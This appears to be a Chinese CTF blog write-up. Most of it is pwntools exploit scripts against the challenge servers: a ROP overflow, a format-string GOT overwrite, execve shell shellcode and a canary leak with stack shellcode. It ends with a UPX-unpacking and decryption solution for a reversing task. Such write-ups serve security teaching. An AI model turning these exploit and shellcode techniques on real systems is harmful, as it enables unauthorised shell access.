super——idol
https://blog.csdn.net/m0_73644864/article/details/128985892
csdn大法,秒了
尊嘟假嘟
我觉得这更像一段逆向,他甚至抹了符号表,我哭死
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context.log_level="debug" p=remote("ctf.v50to.cc",10281) #p=process("./pwn") p.sendline("O.O") sleep(1) p.sendline("O.O") pop_rdi_ret=0x0000000000401bb3 payload=b'O.o'+b'\0'+b'a'*0x74+p64(pop_rdi_ret)+p64(0)+p64(0x0000000004015FE) p.sendlineafter("o.oo.oo.oo.o o.oO.O O.Oo.oO.Oo.o O.Oo.oO.O o.o o.oO.Oo.o? (O.O/o.o)",payload)
p.interactive()
|
尊嘟
pwn2
一道简单的fmt,改putchar_got到后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level="debug" context(log_level = "debug",arch = "amd64",os = "linux") #p = process("./2048") p=remote("ctf.v50to.cc",10259) elf = ELF("./2048")
putchar_got = elf.got['putchar'] print(putchar_got) sys_plt = 0x000000000401DB6
offset = 6 payload = fmtstr_payload(offset, {putchar_got: sys_plt}) p.sendlineafter("start: ", payload) sleep(1) p.interactive()
|
点我下载
pwn4
一个简单的shellcode绕过,限制是可见字符,搜索各种指令的机器码,push为可见范围内,再加一个00绕过后续检查,再用一个pop消除push的影响,下面粘贴通用的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context.log_level="debug" context(log_level = "debug",arch = "amd64",os = "linux") #p = process("./runner") p=remote("ctf.v50to.cc",10265) shellcode = asm(''' /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x00 pop rsi push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall
''')
p.sendlineafter("shell",shellcode)
p.interactive()
|
点我下载
abcgame
前面的剪刀石头布无所谓,三分之一的概率,不需要写脚本爆破,后面是一个泄露canary和rbp,NX没关,直接在栈里面写shellcode,再用rbp计算得shellcode起始位置,把puts的got改过去,后续运行到puts时就会getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context(log_level="debug", arch="amd64", os="linux")
elf = ELF("abcgame")
main_addr = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] #p = process("./abcgame") p = remote("ctf.v50to.cc", 10372) # p=process("./fmt")
name = b'a'* (0x30-8)+b'^' p.sendafter("name?", name) p.recvuntil("^") canary_and_rbp_old=p.recvuntil(",") canary=u64(p8(0)+canary_and_rbp_old[:-7]) rbp_old=u64(canary_and_rbp_old[7:-1]+p16(0))
print(hex(canary)) print(hex(rbp_old)) gift=b'a'* (0x30-8)+b'\0' p.sendafter("gift", gift)
p.sendafter("choice?\n", b'a') fmt=fmtstr_payload(6, {puts_got : rbp_old-0x70+51}) shellcode=asm(shellcraft.sh()) padding=(0x70-8) shell = shellcode.ljust(padding,b'\x90') payload=shell+p64(canary)+p64(rbp_old+1000)+p64(rbp_old-0x70) sleep(0.5) p.sendafter("Which flag do you want?",payload)
p.interactive()
|
点我下载
babyre
cc的pwn实在做不了了,去看了个re,区段名被修改了的upx,查到修改以后的区段名,replace回upx,直接upx -d,得到源exe文件
在里面找到了一个加密函数,以及flag加密后的结果,
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| char str[30]= { 0xA,0x6, 0x6E, 0x2E, 0xBE, 0x41, 0x79, 0x6E, 0x94, 0x2C, 0x7E, 0x43, 0xC1, 0x39, 0xA4, 0x5A, 0x52, 0x17, 0x78, 0x6E, 0x94, 0x1D, 0x6C, 0x2B, 0x88, 0x1D, 0x9D, 0x42, 0x7d }; int v6=114514; for ( j = 0; ; ++j ) { v3 = j; if ( v3 >= strlen(Str) ) break; Str[j] = (Str[j] ^ Str[j + 1]) + v6 * (j % 2); }
|
我直接一个逆向c代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include <stdio.h> #include <stdlib.h> #include<string.h> int main() { char miwen[30]= { 0xA,0x6, 0x6E, 0x2E, 0xBE, 0x41, 0x79, 0x6E, 0x94, 0x2C, 0x7E, 0x43, 0xC1, 0x39, 0xA4, 0x5A, 0x52, 0x17, 0x78, 0x6E, 0x94, 0x1D, 0x6C, 0x2B, 0x88, 0x1D, 0x9D, 0x42, 0x7d };
int v6=114514; for( int i=27;i>=0;i--) { miwen[i]-=v6 *((i+1) % 2); miwen[i]=miwen[i]^miwen[i+1]; }
for(int i=0; i<29; i++) { printf("%c",miwen[i]); } }
|
最后没完全解密,不过只缺了开头三个字母,按照惯例是fla(g),懒得改了
賏g{U9x_1s_s0_f4nny_1snt_it?}
点我下载